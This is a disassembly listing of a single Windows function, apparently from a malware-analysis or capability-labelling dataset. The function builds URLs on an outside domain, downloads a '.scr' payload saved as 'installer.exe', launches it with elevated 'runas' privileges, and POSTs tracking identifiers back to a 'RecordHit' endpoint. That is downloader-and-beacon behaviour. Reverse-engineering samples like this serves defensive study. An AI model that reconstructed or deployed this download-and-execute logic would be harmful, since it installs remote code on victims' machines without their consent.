Function at 0x140001ea6
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x310
lea rbp, [rsp + 0x80]
call fcn.14000d270
lea rax, [rbp + 0x1db]
mov qword [rbp + 0x280], rax
nop
nop
lea rdx, [rbp + 0x1db]
lea rax, [rbp + 0x1b0]
mov r8, rdx
lea rdx, str.master_repogen.vercel.app
mov rcx, rax
call fcn.1400b0470
lea rax, [rbp + 0x1db]
mov rcx, rax
call fcn.1400a1100
nop
lea rax, [rbp + 0x1dc]
mov qword [rbp + 0x278], rax
nop
nop
lea rdx, [rbp + 0x1dc]
lea rax, [rbp + 0x190]
mov r8, rdx
lea rdx, str.https:__www.kenesrakishevinfo.com_api_template_GetTemplateSchema_crumblgtype9
mov rcx, rax
call fcn.1400b0470
lea rax, [rbp + 0x1dc]
mov rcx, rax
call fcn.1400a1100
nop
lea rax, [rbp + 0x1dd]
mov qword [rbp + 0x270], rax
nop
nop
lea rdx, [rbp + 0x1dd]
lea rax, [rbp + 0x170]
mov r8, rdx
lea rdx, str.https
mov rcx, rax
call fcn.1400b0470
lea rax, [rbp + 0x1dd]
mov rcx, rax
call fcn.1400a1100
nop
lea rax, [rbp + 0x1de]
mov qword [rbp + 0x268], rax
nop
nop
lea rdx, [rbp + 0x1de]
lea rax, [rbp + 0x150]
mov r8, rdx
lea rdx, str._file_server.scr
mov rcx, rax
call fcn.1400b0470
lea rax, [rbp + 0x1de]
mov rcx, rax
call fcn.1400a1100
nop
lea rax, [rbp + 0x1df]
mov qword [rbp + 0x260], rax
nop
nop
lea rdx, [rbp + 0x1df]
lea rax, [rbp + 0x130]
mov r8, rdx
lea rdx, str.https:__www.kenesrakishevinfo.com_api_census_RecordHit
mov rcx, rax
call fcn.1400b0470
lea rax, [rbp + 0x1df]
mov rcx, rax
call fcn.1400a1100
nop
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x190]
mov rcx, rax
call fcn.1400014bc
lea rax, [rbp + 0xf0]
lea rcx, [rbp + 0x110]
lea rdx, [rbp + 0x1b0]
mov r8, rcx
mov rcx, rax
call fcn.14000163a
lea rax, str.Generated_Domain:
mov rdx, rax
mov rax, qword [0x1400d1510]
mov rcx, rax
call sym.E_5
mov rcx, rax
lea rax, [rbp + 0xf0]
mov rdx, rax
call fcn.1400c2c50
mov rcx, rax
mov rax, qword [str.__v_f_]
mov rdx, rax
call sym.har_traitsIwEEEEEPKT_RKSt6locale
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x170]
lea r8, [0x1400cb4c2]
mov rcx, rax
call fcn.1400c3150
lea rax, [rbp + 0x1e0]
lea rcx, [rbp + 0xf0]
lea rdx, [rbp + 0x200]
mov r8, rcx
mov rcx, rax
call fcn.1400c3040
lea rax, [rbp + 0xd0]
lea rcx, [rbp + 0x150]
lea rdx, [rbp + 0x1e0]
mov r8, rcx
mov rcx, rax
call fcn.1400c3040
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.1400b1140
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.1400b1140
lea rax, str.Download_URL:
mov rdx, rax
mov rax, qword [0x1400d1510]
mov rcx, rax
call sym.E_5
mov rcx, rax
lea rax, [rbp + 0xd0]
mov rdx, rax
call fcn.1400c2c50
mov rcx, rax
mov rax, qword [str.__v_f_]
mov rdx, rax
call sym.har_traitsIwEEEEEPKT_RKSt6locale
lea rax, [rbp + 0x22a]
mov qword [rbp + 0x258], rax
nop
nop
lea rdx, [rbp + 0x22a]
lea rax, [rbp + 0xb0]
mov r8, rdx
lea rdx, str.installer.exe
mov rcx, rax
call fcn.1400b0470
lea rax, [rbp + 0x22a]
mov rcx, rax
call fcn.1400a1100
nop
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.d
test al, al
je 0x14000244a
lea rax, str.File_downloaded_successfully.
mov rdx, rax
mov rax, qword [0x1400d1510]
mov rcx, rax
call sym.E_5
mov rcx, rax
mov rax, qword [str.__v_f_]
mov rdx, rax
call sym.har_traitsIwEEEEEPKT_RKSt6locale
lea rax, [rbp + 0x22b]
mov qword [rbp + 0x250], rax
nop
nop
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.1400ae120
mov rbx, rax
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.1400ae740
mov rdx, rax
lea rcx, [rbp + 0x22b]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call fcn.1400b4c70
lea rax, [rbp + 0x22b]
mov rcx, rax
call fcn.1400a1110
nop
lea rdx, [rbp + 0x40]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x40], 0x70
mov dword [rbp + 0x44], 0x40
lea rax, str.runas
mov qword [rbp + 0x50], rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140030840
mov qword [rbp + 0x58], rax
mov dword [rbp + 0x70], 1
lea rax, [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExW]
call rax
test eax, eax
setne al
test al, al
je 0x140002296
mov rax, qword [rbp + 0xa8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0xa8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x22c]
mov qword [rbp + 0x248], rax
nop
nop
lea rdx, [rbp + 0x22c]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.https:__www.kenesrakishevinfo.com_api_census_RecordHit
mov rcx, rax
call fcn.1400b0470
lea rax, [rbp + 0x22c]
mov rcx, rax
call fcn.1400a1100
nop
lea rax, [rbp + 0x22d]
mov qword [rbp + 0x240], rax
nop
nop
lea rdx, [rbp + 0x22d]
lea rax, [rbp - 0x20]
mov r8, rdx
lea rdx, str.5f23361984eded7c17b392e3
mov rcx, rax
call fcn.1400b0470
lea rax, [rbp + 0x22d]
mov rcx, rax
call fcn.1400a1100
nop
lea rax, [rbp + 0x22e]
mov qword [rbp + 0x238], rax
nop
nop
lea rdx, [rbp + 0x22e]
mov rax, rbp
mov r8, rdx
lea rdx, str.5c5a519771c10ba3470d8101
mov rcx, rax
call fcn.1400b0470
lea rax, [rbp + 0x22e]
mov rcx, rax
call fcn.1400a1100
nop
lea rax, [rbp + 0x22f]
mov qword [rbp + 0x230], rax
nop
nop
lea rdx, [rbp + 0x22f]
lea rax, [rbp + 0x20]
mov r8, rdx
lea rdx, str.5f23363ac5ff9d7bfe7cea96
mov rcx, rax
call fcn.1400b0470
lea rax, [rbp + 0x22f]
mov rcx, rax
call fcn.1400a1100
nop
lea r8, [rbp + 0x20]
mov rcx, rbp
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x40]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.140001aee
mov byte [rbp + 0x28f], al
cmp byte [rbp + 0x28f], 0
je 0x1400023e2
lea rax, str.POST_request_sent_successfully.
mov rdx, rax
mov rax, qword [0x1400d1510]
mov rcx, rax
call sym.E_5
mov rcx, rax
mov rax, qword [str.__v_f_]
mov rdx, rax
call sym.har_traitsIwEEEEEPKT_RKSt6locale
jmp 0x14000240d
lea rax, str.Failed_to_send_POST_request.
mov rdx, rax
mov rax, qword [0x1400d1510]
mov rcx, rax
call sym.E_5
mov rcx, rax
mov rax, qword [str.__v_f_]
mov rdx, rax
call sym.har_traitsIwEEEEEPKT_RKSt6locale
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.1400b1140
mov rax, rbp
mov rcx, rax
call fcn.1400b1140
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400b1140
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400b1140
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400b5b60
jmp 0x140002475
lea rax, str.Failed_to_download_file.
mov rdx, rax
mov rax, qword [0x1400d1510]
mov rcx, rax
call sym.E_5
mov rcx, rax
mov rax, qword [str.__v_f_]
mov rdx, rax
call sym.har_traitsIwEEEEEPKT_RKSt6locale
mov ebx, 0
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.1400b1140
lea rax, [rbp + 0xd0]
mov rcx, rax
call fcn.1400b1140
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.1400b1140
lea rax, [rbp + 0x110]
mov rcx, rax
call fcn.1400b1140
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.1400b1140
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.1400b1140
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.1400b1140
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.1400b1140
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.1400b1140
mov eax, ebx
jmp 0x140002723
add rsp, 0x310
pop rbx
pop rdi
pop rbp
ret